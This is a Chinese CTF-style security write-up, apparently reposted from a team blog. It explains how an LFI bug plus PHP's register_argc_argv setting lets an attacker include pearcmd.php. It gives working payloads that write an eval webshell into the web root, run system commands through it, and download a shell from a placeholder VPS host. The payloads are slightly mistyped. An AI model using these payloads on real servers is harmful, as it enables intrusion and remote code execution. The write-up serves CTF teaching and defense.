文章总结: 本文介绍了在DockerPHP环境下利用LFI漏洞包含pearcmd.php实现RCE的攻击技术。核心在于利用register_argc_argv配置开启的特性,将URL参数解析为命令行变量,从而调用PEAR的config-create命令写入WebShell。文中详细展示了攻击链构造、具体Payload示例及利用install命令下载恶意文件的扩展应用,具备高实战价值。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞POC,CTF
利用LFI结合 register_argc_argv 特性进行攻击
beee beee
OnePanda-Sec
2026年3月5日 10:00 湖北
招新
OnePanda-Sec
-招新说明-
**招新要求
· 热爱网络安全,喜欢CTF
· 拥有CTF比赛经验,有较好比赛成绩的
· 乐于奉献、热爱分享,愿意提升 自己同时帮助他人
· 时间允许参加各类赛事,服从战队管理与安排
· 各类比赛获奖者、能力出众者视情况考量
· 未参与其他高校联队
· 大一同学视情况放宽资历要求**
联系方式
发送简历于邮箱
· 简历邮箱:[email protected]
聘
利用LFI结合 register_argc_argv 特性进行攻击
1、docker中的pearcmd.php
·PEAR是PHP的配置与应用库管理工具,在很多docker环境或linux的php环境中,默认安装了PEAR。
·pearcmd.php: 是PEAR 的命令行入口脚本。通常位于 /usr/local/lib/php/pearcmd.php。
·关键机制(register_argc_argv): 在 Docker 的 PHP 环境中,默认开启了 register_argc_argv 选项。这意味着,当通过 Web 访问 http://target.com/index.php?a+b 时,PHP 会把查询字符串中的 a 和 b 当作命令行参数传入全局变量 $argv 中。
因此如果我们通过 LFI 漏洞包含了 pearcmd.php,它就会像在命令行里运行一样,去读取 URL 中的参数($_SERVER[‘argv’])并执行相应的 PEAR 命令。就可以通过这个漏洞往网页中写入木马。
2、攻击链构造示例
例题:
<?phphighlight_file(__FILE__);function waf($path){$path = str_replace(".","",$path);return preg_match("/^[a-z]+/",$path);}if(waf($_POST[1])){include "file://".$_POST[1];}else echo waf($_POST[1]);?>Payload:GET /?+configcreate+/&/<?=eval($_POST['cmd')?>+/var/www/html/shell.phpPOST 1=localhost/usr/local/lib/php/pearcmd.php (利用题目特定的 file:// 协议绕过)
·config-create:PEAR 的命令,用于创建默认配置文件。
·/&/<?=eval($_POST[1])?>:在这里注入恶意php代码,PEAR不会校验这个路径是否存在,而是会直接写入配置文件中。
·/var/www/html/shell.php:这是配置文件的保存路径。攻击者将其指向 Web 目录,从而生成后门文件。
攻击核心:当pearcmd.php被包含时,会读取URL中的参数作为命令执行。服务器在 /var/www/html/ 下生成了一个名为 shell.php 的文件,内容中包含我们的恶意代码。
连接后门:
POST /shell.php cmd=system(‘cat /f*’);
因为上一步已经成功写入了 shell.php,现在只需要直接访问这个文件。
利用 cmd 参数发送系统命令,获取 flag。
完整逻辑是: 利用 LFI漏洞 -> 包含 pearcmd.php -> 通过 URL参数 欺骗 PEAR -> 让 PEAR 执行 config-create -> 在网站目录 写入WebShell -> Get Flag。
3、该漏洞的其他应用
pearcmd.php还可以通过install命令从远程服务器下载恶意文件
eg.
?+install+–installroot+&chkroot=public_html+http://vps-ip/shell.php
该命令尝试从VPS下载shell
确定pearcmd.php的路径
常见的路径有 /usr/local/lib/php/pearcmd.php , /usr/share/php/pearcmd.php
或在 phpinfo 页面中搜索 include_path查看PEAR的安装目录
OnePandaSec团队交流群,欢迎网络安全爱好者加入
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OnePanda-Sec beee beee《利用LFI结合 registerargcargv 特性进行攻击》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论